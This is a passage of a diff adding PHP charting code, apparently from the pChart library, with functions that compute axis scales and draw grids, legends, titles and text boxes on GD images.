$this->drawScale($Data,$DataDescription,$ScaleMode,$R,$G,$B,$DrawTicks,$Angle,$Decimals,$WithMargin,$SkipLabels,TRUE); + } + + /* Compute and draw the scale */ + function drawScale($Data,$DataDescription,$ScaleMode,$R,$G,$B,$DrawTicks=TRUE,$Angle=0,$Decimals=1,$WithMargin=FALSE,$SkipLabels=1,$RightScale=FALSE) + { + /* Validate the Data and DataDescription array */ + $this->validateData("drawScale",$Data); + + $C_TextColor =$this->AllocateColor($this->Picture,$R,$G,$B); + + $this->drawLine($this->GArea_X1,$this->GArea_Y1,$this->GArea_X1,$this->GArea_Y2,$R,$G,$B); + $this->drawLine($this->GArea_X1,$this->GArea_Y2,$this->GArea_X2,$this->GArea_Y2,$R,$G,$B); + + if ( $this->VMin == NULL && $this->VMax == NULL) + { + if (isset($DataDescription["Values"][0])) + { + $this->VMin = $Data[0][$DataDescription["Values"][0]]; + $this->VMax = $Data[0][$DataDescription["Values"][0]]; + } + else { $this->VMin = 2147483647; $this->VMax = -2147483647; } + + /* Compute Min and Max values */ + if ( $ScaleMode == SCALE_NORMAL || $ScaleMode == SCALE_START0 ) + { + if ( $ScaleMode == SCALE_START0 ) { $this->VMin = 0; } + + foreach ( $Data as $Key => $Values ) + { + foreach ( $DataDescription["Values"] as $Key2 => $ColName ) + { + if (isset($Data[$Key][$ColName])) + { + $Value = $Data[$Key][$ColName]; + + if ( is_numeric($Value) ) + { + if ( $this->VMax < $Value) { $this->VMax = $Value; } + if ( $this->VMin > $Value) { $this->VMin = $Value; } + } + } + } + } + // shumisha adjust scaling: if SCALE_NORMAL, don't start at actual MIN value + // but a few percent below, so that smallest value is not exactly on the abscise axis + if( $this->VMin > 0) { + $this->VMin = $this->VMin - (0.02 * ($this->VMax - $this->VMin)); + $this->VMin = $this->VMin < 0 ? 0 : $this->VMin; + } + + } + elseif ( $ScaleMode == SCALE_ADDALL || $ScaleMode == SCALE_ADDALLSTART0 ) /* Experimental */ + { + if ( $ScaleMode == SCALE_ADDALLSTART0 ) { $this->VMin = 0; } + + foreach ( $Data as $Key => $Values ) + { + $Sum = 0; + foreach ( $DataDescription["Values"] as $Key2 => $ColName ) + { + if (isset($Data[$Key][$ColName])) + { + $Value = $Data[$Key][$ColName]; + if ( is_numeric($Value) ) + $Sum += $Value; + } + } + if ( $this->VMax < $Sum) { $this->VMax = $Sum; } + if ( $this->VMin > $Sum) { $this->VMin = $Sum; } + } + } + + if ( $this->VMax > preg_replace('/\.[0-9]+/','',$this->VMax) ) + $this->VMax = preg_replace('/\.[0-9]+/','',$this->VMax)+1; + + /* If all values are the same */ + if ( $this->VMax == $this->VMin ) + { + if ( $this->VMax >= 0 ) { $this->VMax++; } + else { $this->VMin--; } + } + + $DataRange = $this->VMax - $this->VMin; + if ( $DataRange == 0 ) { $DataRange = .1; } + + /* Compute automatic scaling */ + $ScaleOk = FALSE; $Factor = 1; + $MinDivHeight = 25; $MaxDivs = ($this->GArea_Y2 - $this->GArea_Y1) / $MinDivHeight; + + if ( $this->VMin == 0 && $this->VMax == 0 ) + { $this->VMin = 0; $this->VMax = 2; $Scale = 1; $Divisions = 2;} + elseif ($MaxDivs > 1) + { + while(!$ScaleOk) + { + $Scale1 = ( $this->VMax - $this->VMin ) / $Factor; + $Scale2 = ( $this->VMax - $this->VMin ) / $Factor / 2; + $Scale4 = ( $this->VMax - $this->VMin ) / $Factor / 4; + + if ( $Scale1 > 1 && $Scale1 <= $MaxDivs && !$ScaleOk) { $ScaleOk = TRUE; $Divisions = floor($Scale1); $Scale = 1;} + if ( $Scale2 > 1 && $Scale2 <= $MaxDivs && !$ScaleOk) { $ScaleOk = TRUE; $Divisions = floor($Scale2); $Scale = 2;} + if (!$ScaleOk) + { + if ( $Scale2 > 1 ) { $Factor = $Factor * 10; } + if ( $Scale2 < 1 ) { $Factor = $Factor / 10; } + } + } + + if ( floor($this->VMax / $Scale / $Factor) != $this->VMax / $Scale / $Factor) + { + $GridID = floor ( $this->VMax / $Scale / $Factor) + 1; + $this->VMax = $GridID * $Scale * $Factor; + $Divisions++; + } + + if ( floor($this->VMin / $Scale / $Factor) != $this->VMin / $Scale / $Factor) + { + $GridID = floor( $this->VMin / $Scale / $Factor); + $this->VMin = $GridID * $Scale * $Factor; + $Divisions++; + } + } + else /* Can occurs for small graphs */ + $Scale = 1; + + if ( !isset($Divisions) ) + $Divisions = 2; + + if ($Scale == 1 && $Divisions%2 == 1) + $Divisions--; + } + else + $Divisions = $this->Divisions; + + $this->DivisionCount = $Divisions; + + $DataRange = $this->VMax - $this->VMin; + if ( $DataRange == 0 ) { $DataRange = .1; } + + $this->DivisionHeight = ( $this->GArea_Y2 - $this->GArea_Y1 ) / $Divisions; + $this->DivisionRatio = ( $this->GArea_Y2 - $this->GArea_Y1 ) / $DataRange; + + $this->GAreaXOffset = 0; + if ( count($Data) > 1 ) + { + if ( $WithMargin == FALSE ) + $this->DivisionWidth = ( $this->GArea_X2 - $this->GArea_X1 ) / (count($Data)-1); + else + { + $this->DivisionWidth = ( $this->GArea_X2 - $this->GArea_X1 ) / (count($Data)); + $this->GAreaXOffset = $this->DivisionWidth / 2; + } + } + else + { + $this->DivisionWidth = $this->GArea_X2 - $this->GArea_X1; + $this->GAreaXOffset = $this->DivisionWidth / 2; + } + + $this->DataCount = count($Data); + + if ( $DrawTicks == FALSE ) + return(0); + + $YPos = $this->GArea_Y2; $XMin = NULL; + for($i=1;$i<=$Divisions+1;$i++) + { + if ( $RightScale ) + $this->drawLine($this->GArea_X2,$YPos,$this->GArea_X2+5,$YPos,$R,$G,$B); + else + $this->drawLine($this->GArea_X1,$YPos,$this->GArea_X1-5,$YPos,$R,$G,$B); + + $Value = $this->VMin + ($i-1) * (( $this->VMax - $this->VMin ) / $Divisions); + $Value = round($Value * pow(10,$Decimals)) / pow(10,$Decimals); + if ( $DataDescription["Format"]["Y"] == "number" ) + $Value = $Value.$DataDescription["Unit"]["Y"]; + if ( $DataDescription["Format"]["Y"] == "time" ) + $Value = $this->ToTime($Value); + if ( $DataDescription["Format"]["Y"] == "date" ) + $Value = $this->ToDate($Value); + if ( $DataDescription["Format"]["Y"] == "metric" ) + $Value = $this->ToMetric($Value); + if ( $DataDescription["Format"]["Y"] == "currency" ) + $Value = $this->ToCurrency($Value); + + $Position = imageftbbox($this->FontSize,0,$this->FontName,$Value); + $TextWidth = $Position[2]-$Position[0]; + + if ( $RightScale ) + { + imagettftext($this->Picture,$this->FontSize,0,$this->GArea_X2+10,$YPos+($this->FontSize/2),$C_TextColor,$this->FontName,$Value); + if ( $XMin < $this->GArea_X2+15+$TextWidth || $XMin == NULL ) { $XMin = $this->GArea_X2+15+$TextWidth; } + } + else + { + imagettftext($this->Picture,$this->FontSize,0,$this->GArea_X1-10-$TextWidth,$YPos+($this->FontSize/2),$C_TextColor,$this->FontName,$Value); + if ( $XMin > $this->GArea_X1-10-$TextWidth || $XMin == NULL ) { $XMin = $this->GArea_X1-10-$TextWidth; } + } + + $YPos = $YPos - $this->DivisionHeight; + } + + /* Write the Y Axis caption if set */ + if ( isset($DataDescription["Axis"]["Y"]) ) + { + $Position = imageftbbox($this->FontSize,90,$this->FontName,$DataDescription["Axis"]["Y"]); + $TextHeight = abs($Position[1])+abs($Position[3]); + $TextTop = (($this->GArea_Y2 - $this->GArea_Y1) / 2) + $this->GArea_Y1 + ($TextHeight/2); + + if ( $RightScale ) + imagettftext($this->Picture,$this->FontSize,90,$XMin+$this->FontSize,$TextTop,$C_TextColor,$this->FontName,$DataDescription["Axis"]["Y"]); + else + imagettftext($this->Picture,$this->FontSize,90,$XMin-$this->FontSize,$TextTop,$C_TextColor,$this->FontName,$DataDescription["Axis"]["Y"]); + } + + /* Horizontal Axis */ + $XPos = $this->GArea_X1 + $this->GAreaXOffset; + $ID = 1; $YMax = NULL; + foreach ( $Data as $Key => $Values ) + { + if ( $ID % $SkipLabels == 0 ) + { + $this->drawLine(floor($XPos),$this->GArea_Y2,floor($XPos),$this->GArea_Y2+5,$R,$G,$B); + $Value = $Data[$Key][$DataDescription["Position"]]; + if ( $DataDescription["Format"]["X"] == "number" ) + $Value = $Value.$DataDescription["Unit"]["X"]; + if ( $DataDescription["Format"]["X"] == "time" ) + $Value = $this->ToTime($Value); + if ( $DataDescription["Format"]["X"] == "date" ) + $Value = $this->ToDate($Value); + if ( $DataDescription["Format"]["X"] == "metric" ) + $Value = $this->ToMetric($Value); + if ( $DataDescription["Format"]["X"] == "currency" ) + $Value = $this->ToCurrency($Value); + + $Position = imageftbbox($this->FontSize,$Angle,$this->FontName,$Value); + $TextWidth = abs($Position[2])+abs($Position[0]); + $TextHeight = abs($Position[1])+abs($Position[3]); + + if ( $Angle == 0 ) + { + $YPos = $this->GArea_Y2+18; + imagettftext($this->Picture,$this->FontSize,$Angle,floor($XPos)-floor($TextWidth/2),$YPos,$C_TextColor,$this->FontName,$Value); + } + else + { + $YPos = $this->GArea_Y2+10+$TextHeight; + if ( $Angle <= 90 ) + imagettftext($this->Picture,$this->FontSize,$Angle,floor($XPos)-$TextWidth+5,$YPos,$C_TextColor,$this->FontName,$Value); + else + imagettftext($this->Picture,$this->FontSize,$Angle,floor($XPos)+$TextWidth+5,$YPos,$C_TextColor,$this->FontName,$Value); + } + if ( $YMax < $YPos || $YMax == NULL ) { $YMax = $YPos; } + } + + $XPos = $XPos + $this->DivisionWidth; + $ID++; + } + + /* Write the X Axis caption if set */ + if ( isset($DataDescription["Axis"]["X"]) ) + { + $Position = imageftbbox($this->FontSize,90,$this->FontName,$DataDescription["Axis"]["X"]); + $TextWidth = abs($Position[2])+abs($Position[0]); + $TextLeft = (($this->GArea_X2 - $this->GArea_X1) / 2) + $this->GArea_X1 + ($TextWidth/2); + imagettftext($this->Picture,$this->FontSize,0,$TextLeft,$YMax+$this->FontSize+5,$C_TextColor,$this->FontName,$DataDescription["Axis"]["X"]); + } + } + + /* Compute and draw the scale for X/Y charts */ + function drawXYScale($Data,$DataDescription,$YSerieName,$XSerieName,$R,$G,$B,$WithMargin=0,$Angle=0,$Decimals=1) + { + /* Validate the Data and DataDescription array */ + $this->validateData("drawScale",$Data); + + $C_TextColor =$this->AllocateColor($this->Picture,$R,$G,$B); + + $this->drawLine($this->GArea_X1,$this->GArea_Y1,$this->GArea_X1,$this->GArea_Y2,$R,$G,$B); + $this->drawLine($this->GArea_X1,$this->GArea_Y2,$this->GArea_X2,$this->GArea_Y2,$R,$G,$B); + + /* Process Y scale */ + if ( $this->VMin == NULL && $this->VMax == NULL) + { + $this->VMin = $Data[0][$YSerieName]; + $this->VMax = $Data[0][$YSerieName]; + + foreach ( $Data as $Key => $Values ) + { + if (isset($Data[$Key][$YSerieName])) + { + $Value = $Data[$Key][$YSerieName]; + if ( $this->VMax < $Value) { $this->VMax = $Value; } + if ( $this->VMin > $Value) { $this->VMin = $Value; } + } + } + + if ( $this->VMax > preg_replace('/\.[0-9]+/','',$this->VMax) ) + $this->VMax = preg_replace('/\.[0-9]+/','',$this->VMax)+1; + + $DataRange = $this->VMax - $this->VMin; + if ( $DataRange == 0 ) { $DataRange = .1; } + + /* Compute automatic scaling */ + $ScaleOk = FALSE; $Factor = 1; + $MinDivHeight = 25; $MaxDivs = ($this->GArea_Y2 - $this->GArea_Y1) / $MinDivHeight; + + if ( $this->VMin == 0 && $this->VMax == 0 ) + { $this->VMin = 0; $this->VMax = 2; $Scale = 1; $Divisions = 2;} + elseif ($MaxDivs > 1) + { + while(!$ScaleOk) + { + $Scale1 = ( $this->VMax - $this->VMin ) / $Factor; + $Scale2 = ( $this->VMax - $this->VMin ) / $Factor / 2; + $Scale4 = ( $this->VMax - $this->VMin ) / $Factor / 4; + + if ( $Scale1 > 1 && $Scale1 <= $MaxDivs && !$ScaleOk) { $ScaleOk = TRUE; $Divisions = floor($Scale1); $Scale = 1;} + if ( $Scale2 > 1 && $Scale2 <= $MaxDivs && !$ScaleOk) { $ScaleOk = TRUE; $Divisions = floor($Scale2); $Scale = 2;} + if (!$ScaleOk) + { + if ( $Scale2 > 1 ) { $Factor = $Factor * 10; } + if ( $Scale2 < 1 ) { $Factor = $Factor / 10; } + } + } + + if ( floor($this->VMax / $Scale / $Factor) != $this->VMax / $Scale / $Factor) + { + $GridID = floor ( $this->VMax / $Scale / $Factor) + 1; + $this->VMax = $GridID * $Scale * $Factor; + $Divisions++; + } + + if ( floor($this->VMin / $Scale / $Factor) != $this->VMin / $Scale / $Factor) + { + $GridID = floor( $this->VMin / $Scale / $Factor); + $this->VMin = $GridID * $Scale * $Factor; + $Divisions++; + } + } + else /* Can occurs for small graphs */ + $Scale = 1; + + if ( !isset($Divisions) ) + $Divisions = 2; + + if ( $this->isRealInt(($this->VMax-$this->VMin)/($Divisions-1))) + $Divisions--; + elseif ( $this->isRealInt(($this->VMax-$this->VMin)/($Divisions+1))) + $Divisions++; + } + else + $Divisions = $this->Divisions; + + $this->DivisionCount = $Divisions; + + $DataRange = $this->VMax - $this->VMin; + if ( $DataRange == 0 ) { $DataRange = .1; } + + $this->DivisionHeight = ( $this->GArea_Y2 - $this->GArea_Y1 ) / $Divisions; + $this->DivisionRatio = ( $this->GArea_Y2 - $this->GArea_Y1 ) / $DataRange; + + $YPos = $this->GArea_Y2; $XMin = NULL; + for($i=1;$i<=$Divisions+1;$i++) + { + $this->drawLine($this->GArea_X1,$YPos,$this->GArea_X1-5,$YPos,$R,$G,$B); + $Value = $this->VMin + ($i-1) * (( $this->VMax - $this->VMin ) / $Divisions); + $Value = round($Value * pow(10,$Decimals)) / pow(10,$Decimals); + if ( $DataDescription["Format"]["Y"] == "number" ) + $Value = $Value.$DataDescription["Unit"]["Y"]; + if ( $DataDescription["Format"]["Y"] == "time" ) + $Value = $this->ToTime($Value); + if ( $DataDescription["Format"]["Y"] == "date" ) + $Value = $this->ToDate($Value); + if ( $DataDescription["Format"]["Y"] == "metric" ) + $Value = $this->ToMetric($Value); + if ( $DataDescription["Format"]["Y"] == "currency" ) + $Value = $this->ToCurrency($Value); + + $Position = imageftbbox($this->FontSize,0,$this->FontName,$Value); + $TextWidth = $Position[2]-$Position[0]; + imagettftext($this->Picture,$this->FontSize,0,$this->GArea_X1-10-$TextWidth,$YPos+($this->FontSize/2),$C_TextColor,$this->FontName,$Value); + + if ( $XMin > $this->GArea_X1-10-$TextWidth || $XMin == NULL ) { $XMin = $this->GArea_X1-10-$TextWidth; } + + $YPos = $YPos - $this->DivisionHeight; + } + + /* Process X scale */ + if ( $this->VXMin == NULL && $this->VXMax == NULL) + { + $this->VXMin = $Data[0][$XSerieName]; + $this->VXMax = $Data[0][$XSerieName]; + + foreach ( $Data as $Key => $Values ) + { + if (isset($Data[$Key][$XSerieName])) + { + $Value = $Data[$Key][$XSerieName]; + if ( $this->VXMax < $Value) { $this->VXMax = $Value; } + if ( $this->VXMin > $Value) { $this->VXMin = $Value; } + } + } + + if ( $this->VXMax > preg_replace('/\.[0-9]+/','',$this->VXMax) ) + $this->VXMax = preg_replace('/\.[0-9]+/','',$this->VXMax)+1; + + $DataRange = $this->VMax - $this->VMin; + if ( $DataRange == 0 ) { $DataRange = .1; } + + /* Compute automatic scaling */ + $ScaleOk = FALSE; $Factor = 1; + $MinDivWidth = 25; $MaxDivs = ($this->GArea_X2 - $this->GArea_X1) / $MinDivWidth; + + if ( $this->VXMin == 0 && $this->VXMax == 0 ) + { $this->VXMin = 0; $this->VXMax = 2; $Scale = 1; $XDivisions = 2;} + elseif ($MaxDivs > 1) + { + while(!$ScaleOk) + { + $Scale1 = ( $this->VXMax - $this->VXMin ) / $Factor; + $Scale2 = ( $this->VXMax - $this->VXMin ) / $Factor / 2; + $Scale4 = ( $this->VXMax - $this->VXMin ) / $Factor / 4; + + if ( $Scale1 > 1 && $Scale1 <= $MaxDivs && !$ScaleOk) { $ScaleOk = TRUE; $XDivisions = floor($Scale1); $Scale = 1;} + if ( $Scale2 > 1 && $Scale2 <= $MaxDivs && !$ScaleOk) { $ScaleOk = TRUE; $XDivisions = floor($Scale2); $Scale = 2;} + if (!$ScaleOk) + { + if ( $Scale2 > 1 ) { $Factor = $Factor * 10; } + if ( $Scale2 < 1 ) { $Factor = $Factor / 10; } + } + } + + if ( floor($this->VXMax / $Scale / $Factor) != $this->VXMax / $Scale / $Factor) + { + $GridID = floor ( $this->VXMax / $Scale / $Factor) + 1; + $this->VXMax = $GridID * $Scale * $Factor; + $XDivisions++; + } + + if ( floor($this->VXMin / $Scale / $Factor) != $this->VXMin / $Scale / $Factor) + { + $GridID = floor( $this->VXMin / $Scale / $Factor); + $this->VXMin = $GridID * $Scale * $Factor; + $XDivisions++; + } + } + else /* Can occurs for small graphs */ + $Scale = 1; + + if ( !isset($XDivisions) ) + $XDivisions = 2; + + if ( $this->isRealInt(($this->VXMax-$this->VXMin)/($XDivisions-1))) + $XDivisions--; + elseif ( $this->isRealInt(($this->VXMax-$this->VXMin)/($XDivisions+1))) + $XDivisions++; + } + else + $XDivisions = $this->XDivisions; + + $this->XDivisionCount = $Divisions; + $this->DataCount = $Divisions + 2; + + $XDataRange = $this->VXMax - $this->VXMin; + if ( $XDataRange == 0 ) { $XDataRange = .1; } + + $this->DivisionWidth = ( $this->GArea_X2 - $this->GArea_X1 ) / $XDivisions; + $this->XDivisionRatio = ( $this->GArea_X2 - $this->GArea_X1 ) / $XDataRange; + + $XPos = $this->GArea_X1; $YMax = NULL; + for($i=1;$i<=$XDivisions+1;$i++) + { + $this->drawLine($XPos,$this->GArea_Y2,$XPos,$this->GArea_Y2+5,$R,$G,$B); + + $Value = $this->VXMin + ($i-1) * (( $this->VXMax - $this->VXMin ) / $XDivisions); + $Value = round($Value * pow(10,$Decimals)) / pow(10,$Decimals); + if ( $DataDescription["Format"]["Y"] == "number" ) + $Value = $Value.$DataDescription["Unit"]["Y"]; + if ( $DataDescription["Format"]["Y"] == "time" ) + $Value = $this->ToTime($Value); + if ( $DataDescription["Format"]["Y"] == "date" ) + $Value = $this->ToDate($Value); + if ( $DataDescription["Format"]["Y"] == "metric" ) + $Value = $this->ToMetric($Value); + if ( $DataDescription["Format"]["Y"] == "currency" ) + $Value = $this->ToCurrency($Value); + + $Position = imageftbbox($this->FontSize,$Angle,$this->FontName,$Value); + $TextWidth = abs($Position[2])+abs($Position[0]); + $TextHeight = abs($Position[1])+abs($Position[3]); + + if ( $Angle == 0 ) + { + $YPos = $this->GArea_Y2+18; + imagettftext($this->Picture,$this->FontSize,$Angle,floor($XPos)-floor($TextWidth/2),$YPos,$C_TextColor,$this->FontName,$Value); + } + else + { + $YPos = $this->GArea_Y2+10+$TextHeight; + if ( $Angle <= 90 ) + imagettftext($this->Picture,$this->FontSize,$Angle,floor($XPos)-$TextWidth+5,$YPos,$C_TextColor,$this->FontName,$Value); + else + imagettftext($this->Picture,$this->FontSize,$Angle,floor($XPos)+$TextWidth+5,$YPos,$C_TextColor,$this->FontName,$Value); + } + + if ( $YMax < $YPos || $YMax == NULL ) { $YMax = $YPos; } + + $XPos = $XPos + $this->DivisionWidth; + } + + /* Write the Y Axis caption if set */ + if ( isset($DataDescription["Axis"]["Y"]) ) + { + $Position = imageftbbox($this->FontSize,90,$this->FontName,$DataDescription["Axis"]["Y"]); + $TextHeight = abs($Position[1])+abs($Position[3]); + $TextTop = (($this->GArea_Y2 - $this->GArea_Y1) / 2) + $this->GArea_Y1 + ($TextHeight/2); + imagettftext($this->Picture,$this->FontSize,90,$XMin-$this->FontSize,$TextTop,$C_TextColor,$this->FontName,$DataDescription["Axis"]["Y"]); + } + + /* Write the X Axis caption if set */ + if ( isset($DataDescription["Axis"]["X"]) ) + { + $Position = imageftbbox($this->FontSize,90,$this->FontName,$DataDescription["Axis"]["X"]); + $TextWidth = abs($Position[2])+abs($Position[0]); + $TextLeft = (($this->GArea_X2 - $this->GArea_X1) / 2) + $this->GArea_X1 + ($TextWidth/2); + imagettftext($this->Picture,$this->FontSize,0,$TextLeft,$YMax+$this->FontSize+5,$C_TextColor,$this->FontName,$DataDescription["Axis"]["X"]); + } + } + + /* Compute and draw the scale */ + function drawGrid($LineWidth,$Mosaic=TRUE,$R=220,$G=220,$B=220,$Alpha=100) + { + /* Draw mosaic */ + if ( $Mosaic ) + { + $LayerWidth = $this->GArea_X2-$this->GArea_X1; + $LayerHeight = $this->GArea_Y2-$this->GArea_Y1; + + $this->Layers[0] = imagecreatetruecolor($LayerWidth,$LayerHeight); + $C_White =$this->AllocateColor($this->Layers[0],255,255,255); + imagefilledrectangle($this->Layers[0],0,0,$LayerWidth,$LayerHeight,$C_White); + imagecolortransparent($this->Layers[0],$C_White); + + $C_Rectangle =$this->AllocateColor($this->Layers[0],250,250,250); + + $YPos = $LayerHeight; //$this->GArea_Y2-1; + $LastY = $YPos; + for($i=0;$i<=$this->DivisionCount;$i++) + { + $LastY = $YPos; + $YPos = $YPos - $this->DivisionHeight; + + if ( $YPos <= 0 ) { $YPos = 1; } + + if ( $i % 2 == 0 ) + { + imagefilledrectangle($this->Layers[0],1,$YPos,$LayerWidth-1,$LastY,$C_Rectangle); + } + } + imagecopymerge($this->Picture,$this->Layers[0],$this->GArea_X1,$this->GArea_Y1,0,0,$LayerWidth,$LayerHeight,$Alpha); + imagedestroy($this->Layers[0]); + } + + /* Horizontal lines */ + $YPos = $this->GArea_Y2 - $this->DivisionHeight; + for($i=1;$i<=$this->DivisionCount;$i++) + { + if ( $YPos > $this->GArea_Y1 && $YPos < $this->GArea_Y2 ) + $this->drawDottedLine($this->GArea_X1,$YPos,$this->GArea_X2,$YPos,$LineWidth,$R,$G,$B); + + $YPos = $YPos - $this->DivisionHeight; + } + + /* Vertical lines */ + if ( $this->GAreaXOffset == 0 ) + { $XPos = $this->GArea_X1 + $this->DivisionWidth + $this->GAreaXOffset; $ColCount = $this->DataCount-2; } + else + { $XPos = $this->GArea_X1 + $this->GAreaXOffset; $ColCount = floor( ($this->GArea_X2 - $this->GArea_X1) / $this->DivisionWidth ); } + + for($i=1;$i<=$ColCount;$i++) + { + if ( $XPos > $this->GArea_X1 && $XPos < $this->GArea_X2 ) + $this->drawDottedLine(floor($XPos),$this->GArea_Y1,floor($XPos),$this->GArea_Y2,$LineWidth,$R,$G,$B); + $XPos = $XPos + $this->DivisionWidth; + } + } + + /* retrieve the legends size */ + function getLegendBoxSize($DataDescription) + { + if ( !isset($DataDescription["Description"]) ) + return(-1); + + /* <-10->[8]<-4->Text<-10-> */ + $MaxWidth = 0; $MaxHeight = 8; + foreach($DataDescription["Description"] as $Key => $Value) + { + $Position = imageftbbox($this->FontSize,0,$this->FontName,$Value); + $TextWidth = $Position[2]-$Position[0]; + $TextHeight = $Position[1]-$Position[7]; + if ( $TextWidth > $MaxWidth) { $MaxWidth = $TextWidth; } + $MaxHeight = $MaxHeight + $TextHeight + 4; + } + $MaxHeight = $MaxHeight - 3; + $MaxWidth = $MaxWidth + 32; + + return(array($MaxWidth,$MaxHeight)); + } + + /* Draw the data legends */ + function drawLegend($XPos,$YPos,$DataDescription,$R,$G,$B,$Rs=-1,$Gs=-1,$Bs=-1,$Rt=0,$Gt=0,$Bt=0,$Border=TRUE) + { + /* Validate the Data and DataDescription array */ + $this->validateDataDescription("drawLegend",$DataDescription); + + if ( !isset($DataDescription["Description"]) ) + return(-1); + + $C_TextColor =$this->AllocateColor($this->Picture,$Rt,$Gt,$Bt); + + /* <-10->[8]<-4->Text<-10-> */ + $MaxWidth = 0; $MaxHeight = 8; + foreach($DataDescription["Description"] as $Key => $Value) + { + $Position = imageftbbox($this->FontSize,0,$this->FontName,$Value); + $TextWidth = $Position[2]-$Position[0]; + $TextHeight = $Position[1]-$Position[7]; + if ( $TextWidth > $MaxWidth) { $MaxWidth = $TextWidth; } + $MaxHeight = $MaxHeight + $TextHeight + 4; + } + $MaxHeight = $MaxHeight - 5; + $MaxWidth = $MaxWidth + 32; + + if ( $Rs == -1 || $Gs == -1 || $Bs == -1 ) + { $Rs = $R-30; $Gs = $G-30; $Bs = $B-30; } + + if ( $Border ) + { + $this->drawFilledRoundedRectangle($XPos+1,$YPos+1,$XPos+$MaxWidth+1,$YPos+$MaxHeight+1,5,$Rs,$Gs,$Bs); + $this->drawFilledRoundedRectangle($XPos,$YPos,$XPos+$MaxWidth,$YPos+$MaxHeight,5,$R,$G,$B); + } + + $YOffset = 4 + $this->FontSize; $ID = 0; + foreach($DataDescription["Description"] as $Key => $Value) + { + $this->drawFilledRoundedRectangle($XPos+10,$YPos+$YOffset-4,$XPos+14,$YPos+$YOffset-4,2,$this->Palette[$ID]["R"],$this->Palette[$ID]["G"],$this->Palette[$ID]["B"]); + imagettftext($this->Picture,$this->FontSize,0,$XPos+22,$YPos+$YOffset,$C_TextColor,$this->FontName,$Value); + + $Position = imageftbbox($this->FontSize,0,$this->FontName,$Value); + $TextHeight = $Position[1]-$Position[7]; + + $YOffset = $YOffset + $TextHeight + 4; + $ID++; + } + } + + /* Draw the data legends */ + function drawPieLegend($XPos,$YPos,$Data,$DataDescription,$R,$G,$B) + { + /* Validate the Data and DataDescription array */ + $this->validateDataDescription("drawPieLegend",$DataDescription,FALSE); + $this->validateData("drawPieLegend",$Data); + + if ( !isset($DataDescription["Position"]) ) + return(-1); + + $C_TextColor =$this->AllocateColor($this->Picture,0,0,0); + + /* <-10->[8]<-4->Text<-10-> */ + $MaxWidth = 0; $MaxHeight = 8; + foreach($Data as $Key => $Value) + { + $Value2 = $Value[$DataDescription["Position"]]; + $Position = imageftbbox($this->FontSize,0,$this->FontName,$Value2); + $TextWidth = $Position[2]-$Position[0]; + $TextHeight = $Position[1]-$Position[7]; + if ( $TextWidth > $MaxWidth) { $MaxWidth = $TextWidth; } + + $MaxHeight = $MaxHeight + $TextHeight + 4; + } + $MaxHeight = $MaxHeight - 3; + $MaxWidth = $MaxWidth + 32; + + $this->drawFilledRoundedRectangle($XPos+1,$YPos+1,$XPos+$MaxWidth+1,$YPos+$MaxHeight+1,5,$R-30,$G-30,$B-30); + $this->drawFilledRoundedRectangle($XPos,$YPos,$XPos+$MaxWidth,$YPos+$MaxHeight,5,$R,$G,$B); + + $YOffset = 4 + $this->FontSize; $ID = 0; + foreach($Data as $Key => $Value) + { + $Value2 = $Value[$DataDescription["Position"]]; + $Position = imageftbbox($this->FontSize,0,$this->FontName,$Value2); + $TextHeight = $Position[1]-$Position[7]; + $this->drawFilledRectangle($XPos+10,$YPos+$YOffset-6,$XPos+14,$YPos+$YOffset-2,$this->Palette[$ID]["R"],$this->Palette[$ID]["G"],$this->Palette[$ID]["B"]); + + imagettftext($this->Picture,$this->FontSize,0,$XPos+22,$YPos+$YOffset,$C_TextColor,$this->FontName,$Value2); + $YOffset = $YOffset + $TextHeight + 4; + $ID++; + } + } + + /* Draw the graph title */ + function drawTitle($XPos,$YPos,$Value,$R,$G,$B,$XPos2=-1,$YPos2=-1,$Shadow=FALSE) + { + $C_TextColor = $this->AllocateColor($this->Picture,$R,$G,$B); + + if ( $XPos2 != -1 ) + { + $Position = imageftbbox($this->FontSize,0,$this->FontName,$Value); + $TextWidth = $Position[2]-$Position[0]; + $XPos = floor(( $XPos2 - $XPos - $TextWidth ) / 2 ) + $XPos; + } + + if ( $YPos2 != -1 ) + { + $Position = imageftbbox($this->FontSize,0,$this->FontName,$Value); + $TextHeight = $Position[5]-$Position[3]; + $YPos = floor(( $YPos2 - $YPos - $TextHeight ) / 2 ) + $YPos; + } + + if ( $Shadow ) + { + $C_ShadowColor = $this->AllocateColor($this->Picture,$this->ShadowRColor,$this->ShadowGColor,$this->ShadowBColor); + imagettftext($this->Picture,$this->FontSize,0,$XPos+$this->ShadowXDistance,$YPos+$this->ShadowYDistance,$C_ShadowColor,$this->FontName,$Value); + } + + imagettftext($this->Picture,$this->FontSize,0,$XPos,$YPos,$C_TextColor,$this->FontName,$Value); + } + + /* Draw a text box with text align & alpha properties */ + function drawTextBox($X1,$Y1,$X2,$Y2,$Text,$Angle=0,$R=255,$G=255,$B=255,$Align=ALIGN_LEFT,$Shadow=TRUE,$BgR=-1,$BgG=-1,$BgB=-1,$Alpha=100) + { + $Position = imageftbbox($this->FontSize,$Angle,$this->FontName,$Text); + $TextWidth = $Position[2]-$Position[0]; + $TextHeight = $Position[5]-$Position[3]; + $AreaWidth = $X2 - $X1; + $AreaHeight = $Y2 - $Y1; + + if ( $BgR != -1 && $BgG != -1 && $BgB != -1 ) + $this->drawFilledRectangle($X1,$Y1,$X2,$Y2,$BgR,$BgG,$BgB,FALSE,$Alpha); + + if ( $Align == ALIGN_TOP_LEFT ) { $X = $X1+1; $Y = $Y1+$this->FontSize+1; } + if ( $Align == ALIGN_TOP_CENTER ) { $X = $X1+($AreaWidth/2)-($TextWidth/2); $Y = $Y1+$this->FontSize+1; } + if ( $Align == ALIGN_TOP_RIGHT ) { $X = $X2-$TextWidth-1; $Y = $Y1+$this->FontSize+1; } + if ( $Align == ALIGN_LEFT ) { $X = $X1+1; $Y = $Y1+($AreaHeight/2)-($TextHeight/2); } + if ( $Align == ALIGN_CENTER ) { $X = $X1+($AreaWidth/2)-($TextWidth/2); $Y = $Y1+($AreaHeight/2)-($TextHeight/2); } + if ( $Align == ALIGN_RIGHT ) { $X = $X2-$TextWidth-1; $Y = $Y1+($AreaHeight/2)-($TextHeight/2); } + if ( $Align == ALIGN_BOTTOM_LEFT ) { $X = $X1+1; $Y = $Y2-1; } + if ( $Align == ALIGN_BOTTOM_CENTER ) { $X = $X1+($AreaWidth/2)-($TextWidth/2); $Y = $Y2-1; } + if ( $Align == ALIGN_BOTTOM_RIGHT ) { $X = $X2-$TextWidth-1; $Y = $Y2-1; } + + $C_TextColor =$this->AllocateColor($this->Picture,$R,$G,$B); + $C_ShadowColor 